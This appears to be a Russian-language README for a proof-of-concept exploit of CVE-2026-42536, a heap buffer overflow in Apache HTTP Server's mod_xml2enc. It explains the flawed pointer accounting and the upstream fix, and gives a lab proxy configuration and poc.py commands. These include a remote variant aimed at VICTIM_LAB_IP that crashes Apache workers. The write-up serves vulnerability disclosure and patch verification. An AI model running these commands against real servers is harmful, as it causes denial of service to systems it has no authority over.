
Уязвимость переполнения буфера в куче в Apache HTTP Server с mod_xml2enc, xml2StartParse и недоверенным содержимым
mod_xml2enc Apache HTTP ServerЭтот репозиторий содержит контролируемое доказательство концепции для CVE-2026-42536 — запись за границы кучи в модуле mod_xml2enc Apache HTTP Server. Уязвимы версии Apache HTTP Server с 2.4.0 по 2.4.67; версия 2.4.68 содержит исправление от upstream.
Демонстрируемый результат — повреждение памяти с последующим падением рабочего процесса Apache. Повторные срабатывания могут вызвать отказ в обслуживании. Этот PoC не демонстрирует удалённое выполнение кода, повышение привилегий или обратную оболочку.
Этот PoC намеренно отправляет содержимое, способное обрушить рабочий процесс Apache. Запускайте его только в одноразовой изолированной среде, которой вы владеете или которую вам явно разрешено тестировать. Не направляйте его на production- или сторонние системы.
По умолчанию скрипт допускает работу только через loopback. Для удалённой работы требуется явный флаг --allow-remote, но этот флаг не заменяет авторизацию.
xml2StartParse может указать mod_xml2enc пропустить байты перед настроенным начальным элементом. В Apache HTTP Server 2.4.67 fix_skipto() продвигает указатель выходного буфера и уменьшает объём валидных данных, но не уменьшает выходную ёмкость на то же смещение:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
Последующее преобразование кодировки поэтому получает ёмкость, измеренную от исходного выделения, хотя ctx->buf теперь указывает внутрь этого выделения. PoC делает это несоответствие наблюдаемым, комбинируя:
xml2StartParse html.Content-Type, объявляющий charset=windows-1252.0x80, который расширяется из одного байта CP1252 в трёхбайтовую кодировку UTF-8 символа евро.Расширяющее преобразование потребляет устаревшую ёмкость и может записать за пределы фактического оставшегося пространства после продвинутого указателя.
Apache 2.4.68 исправляет ошибку учёта, вычитая пропущенное смещение из ctx->bblen:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
PoC использует два HTTP-компонента:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache должен загрузить следующие модули:
filter
proxy
proxy_http
xml2enc
Используйте следующую конфигурацию только в изолированной лаборатории с Apache 2.4.67 или более ранней версии:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
Конфигурация по умолчанию предполагает, что poc.py запускается на том же хосте или в том же сетевом пространстве имён контейнера, что и Apache. Порт 18081 — это backend полезной нагрузки; запросы должны отправляться на фильтруемый маршрут Apache на порту 18080.
Запустите уязвимый экземпляр Apache, затем запустите PoC с того же одноразового хоста или контейнера:
python3 poc.py
Значения по умолчанию эквивалентны:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
Для авторизованной лаборатории из двух машин сделайте backend полезной нагрузки доступным из Apache и обновите ProxyPass/ProxyPassReverse, чтобы использовать лабораторный IP атакующего. Затем привяжите backend и явно нацельтесь на лабораторный адрес Apache:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
Не открывайте порт backend за пределы изолированной тестовой сети.
Наблюдайте за Apache во время запуска PoC. В зависимости от сборки и менеджера процессов клиентский запрос может завершиться ошибкой, сбросом или вернуть частичные данные, пока родительский процесс заменяет упавший рабочий процесс.
Типичные свидетельства из протестированной уязвимой сборки включали:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
В установке под управлением systemd:
sudo journalctl -u apache2 -f
Для контейнера Docker в foreground-режиме:
docker logs -f CONTAINER_NAME
Смена PID рабочих процессов может дать дополнительный сигнал:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
Сам по себе сбой транспорта не является доказательством уязвимости. Подтвердите падение в журнале ошибок Apache, системном журнале, выводе санитайзера или дампе памяти.
Повторите тот же запрос против Apache HTTP Server 2.4.68 с теми же модулями и конфигурацией виртуального хоста. Backend полезной нагрузки по-прежнему должен получать запрос, но рабочий процесс Apache должен оставаться живым, поскольку выходная ёмкость уменьшается вместе с продвинутым указателем.
Если родительский процесс не заменяет рабочий процесс автоматически, перезапустите только одноразовую лабораторную службу:
sudo systemctl restart apache2
или перезапустите одноразовый контейнер:
docker restart CONTAINER_NAME